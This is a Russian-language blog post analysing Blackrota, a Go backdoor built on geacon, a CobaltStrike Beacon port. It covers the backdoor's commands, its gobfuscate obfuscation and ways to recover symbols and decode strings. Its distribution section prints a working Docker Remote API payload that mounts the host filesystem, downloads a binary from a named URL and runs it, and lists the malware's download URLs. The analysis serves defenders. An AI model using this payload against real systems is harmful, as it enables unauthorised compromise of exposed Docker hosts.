Бэкдор Blackrota и способы защиты от него

Бэкдор Blackrota и способы защиты от него

Предисловие

Недавно вредоносный бэкдор Go, который использовал уязвимость несанкционированного доступа в Docker Remote API, был захвачен в Anglerfish Honeypot.Это бэкдор Blackrota.

Мы назвали это вредоносное ПО Blackrota, так как его С2 домен blackrota.ga.

Бэкдор Blackrotа в настоящее время доступен только для Linux в формате ELF и поддерживает архитектуры x86 / x86-64.

Бэкдор Blackrota и способы защиты от него

Бэкдор Blackrota настроен и скомпилирован с geacon — реализация CobaltStrike Beacon Go, используемая как CobaltStrike Beacon, которая взаимодействует с CobaltStrike для управления зараженным хостом:

Бэкдор Blackrota и способы защиты от него

Однако, это только реализация некоторых ключевых функций оригинального CobaltStrike Beacon:

  • CMD_SHELL: выполнение Shell комманд,

  • CMD_UPLOAD: загрузка файлов,

  • CMDDOWNLOAD: загрузка специальных файлов,

  • CMD_FILE_ROWSE: просмотр файла,

  • CMD_CD: изменение директории,

  • CMD_SLEEP: установка времени задержки сна,

  • CMD_PWD: возврат текущей директории,

  • CMD_EXIT: выход.

 отличие от оригинального geacon, Blackrota использует gobfuscate — для обфускации исходного кода до момента компиляции. Gobfuscate — это программа с открытым исходным кодом для обфускации Go-кода, который может обфусцировать следующие элементы Go-кода со случайной заменой символов:

  • Имена пакетов;

  • Глобальные переменные;

  • Имена функций;

  • Типы;

  • Имена методов.

Кроме того, gobfuscate заменяет все строки в вашем коде строками, закодированными с помощью XOR, назначая каждой строке функцию декодирования XOR, которая динамически декодирует строки во время выполнения.

Язык программирования Go использует полностью статические ссылки для создания бинарных файлов. В результате весь код, используемый в стандартных и сторонних библиотеках, упакован в очень большие бинарные файлы. Эта функция, с точки зрения обратного анализа, означает, что когда вы открываете двоичный файл Go во время дизассемблирования, вы увидите тысячи или даже десятки тысяч функций. Если эти функции не имеют соответствующей символики, будет сложно провести обратный анализ двоичных файлов Go.

Реверсирование бинарных файлов

Хорошая новость заключается в том, что в Go есть другой механизм: при создании бинарного файла как RTSI (информация о символах времени выполнения), так и RTTI (информация о типах времени выполнения) упаковываются в двоичный файл и не могут быть удалены. В настоящее время почти все специализированные инструменты для реверсирования бинарных файлов Go пытаются извлечь эту информацию из бинарных файлов Go, чтобы помочь процессу анализа. Проекты Go часто импортируют множество сторонних пакетов с открытым исходным кодом. В общем, восстановленные RTSI и RTTI приведут нас к соответствующему пакету с открытым исходным кодом, после чего мы сможем прочитать исходный код сторонних пакетов, что еще больше повысит эффективность дизассемблирования.

Бэкдор Blackrota использует gobfuscate, чтобы скрыть символы и типы, которые являются «life-door» для инструментов дизассемблирования. Символьная информация становится нечитаемой и невозможно понять значение этой информации и ее тип, также невозможно узнать, какие сторонние пакеты были импортированы в проект. Это усложняет процесс дизассемблирования.

Исторически мы видели вредоносное ПО, написанное на Go, которое в лучшем случае удаляло символы во время компиляции, а в худшем — немного сбивало с толку и дизасскмблировалось без особого труда. Blackrota — это новый подход к обфускации и наиболее запутанная вредоносная программа Go в формате ELF, которую мы обнаружили на сегодняшний день.

Анализ

Распространение бэкдора Blackrota

Автор бэкдора Blackrota использует несколько полезных нагрузок для несанкционированного использования удаленного API Docker. Типичная упрощенная полезная нагрузка выглядит следующим образом:

POST /v1.37/containers/create HTTP/1.1
Host: {target_host}:{target_port}
User-Agent: Docker-Client/19.03.7 (linux)
Content-Length: 1687
Content-Type: application/json

{"Env":[],"Cmd":["/bin/sh","-c","rm ./32 ; wget https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32;chmod 777 32; nohup ./32 \u003c/dev/null \u003e/dev/null 2\u003e\u00261 \u0026"],"Image":"alpine","Volumes":{},"WorkingDir":"","HostConfig":{"Binds":["/:/mnt"]}

Blackrota может быть загружена со следующих URL адресов:

https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/32
https://semantixpublic.s3.amazonaws.com/itau-poc-elastic/64

Бэкдор Blackrota

 

Бэкдор Blackrota был написан на языке Go. С помощью нашего go_parser в IDAPro, мы можем сказать, что она была скомпилирована на Go1.15.3, с GOROOT path «/usr/local/Cellar/ go/1.15.3/libexec». В дополнение к этим двум фактам, проанализированные пути к исходным файлам, имена функций, глобальных переменных, типов данных и методов, привязанные к данным, запутаны случайными заменами символов и не читаемы.Мы можем посмотреть пути к исходному файлу, участвующему в проекте (директория с исходным файлом назван случайной строкой)

/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/main.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/http.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/packet.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/ohbafagkhnajkninglhh/commands.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/sysinfo_linux.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/idkinfdjhbmgpdcnhdaa/meta.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/setting.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/req.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/resp.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/knbgkjnkjabhokjgieap/djcomehocodednjcklap/ocphjmehllnbcjicmflh/dump.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/pmdjfejhfmifhmelifpm/util.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rsa.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/rand.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/aooeabfbhioognpciekk/aes.go
/var/folders/m_/s3tbbryj529_gr23z27b769h0000gn/T/762993410/src/ammopppfcdmmecpgbkkj/mmkgdoebocpnpabeofch/eepmoknkdieemfhjjjgl/config.go

Наименование функций в Blackrota

Из вышеизложенных результатов анализа, самой большой проблемой для дизассемблировании является то, что имена функций, типов и методов из исходного кода сторонних пакетов, импортированных из образца бэкдора Blackrota обфусцируются в бессмысленные случайные символы.

Список части функций после анализа:

Список части функций после анализа:

Объявление обфусцированного типа данных:

Объявление обфусцированного типа данных:

В дополнение, все еще существуют имена методов, привязанные к типам данных, которые обфусцированы не полностью:

имена методов, привязанные к типам данных

 

Таким образом, мы можем попытаться восстановить символы функций в образце бэкдора Blackrota, используя следующие шаги:

  1. Скомпилировать двоичный файл geacon с подобной архитектурой процессора как образец Blackrota, без удаления символов,

  2. используя idb2pat.py в IDAPro извлечь шаблон (geacon.pat) geacon-функций,

  3. использовать sigmake из Flair Tools чтобы создать файл подписи для geacon (geacon.sig),

  4. импортировать geacon.sig в образец бэкдора Blackrota в IDAPro, идентифицировать и восстановить символы в функциях.

Прогресс есть! Но радоваться рано, потому что мы обнаружили, что символы в функциях распознаются не полностью и существует около сотни функций, которые не охватываются символами geacon, некоторые из которых распознаются следующим образом:

символы в функциях распознаются не полностью

Строки в Blackrota

В Blackrota анализируется лишь очень небольшое количество строк. Они используются в стандартных пакетах Go. Строки в geacon не анализируются. Проблема заключается в перечисленных выше функциях, которые не поддерживаются geacon.

Итак бэкдор Blackrota XOR кодирует все строки, которые он использует внутри. Так же и динамически декодирует строки во время выполнения, чтобы ссылаться на них. Для каждой строки есть функция декодирования XOR. Gobfuscate генерирует случайный ключ XOR. Он той же длины, что и строка. Вычисляет строку символов и возвращает ее. Разрешенная строка ссылается на родительскую функцию. На рисунке показана одна из ключевых частей функции декодирования XOR бэкдор Blackrota XOR кодирует все строки,

Если мы хотим декодировать все строки, нам нужно найти каждую функцию кодирования строк. Найти закодированные байты и ключ XOR и разрешить строки с помощью алгоритма XOR. Это увеличит объем работы по дизассемблированию. Поможет программе в некоторой степени избежать автоматического обнаружения продуктов безопасности.

Заключение

Маскированное вредоносное ПО, написанное на Go, встречается редко.Конечно за исключением нескольких простых попыток «белых шляп».  Одна из них — программа-вымогатель, обнаруженная @joakimkennedy. Она скрывает только символы функций в основном пакете:

Маскированное вредоносное ПО

Эта программа просто запутывает имена нескольких функций.Делает это она в пакете main.Она вряд ли вызовет какие-либо проблемы при дизассемблировании:

Эта программа просто запутывает имена нескольких функций в пакете main

Другой — еще один вымогатель EKANS, который использует тот же метод обфускации, что и Blackrota:

Другой - еще один вымогатель EKANS, который использует тот же метод обфускации, что и Blackrota:

Метод обфускации, используемый во вредоносных программах Blackrota и EKANS, создает новые вызовы / проблемы дизассемблирования. Язык Go становится все более популярным. В будущем в Go будет создаваться все больше и больше вредоносных программ. Мы будем следить за тем, что происходит.

 

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.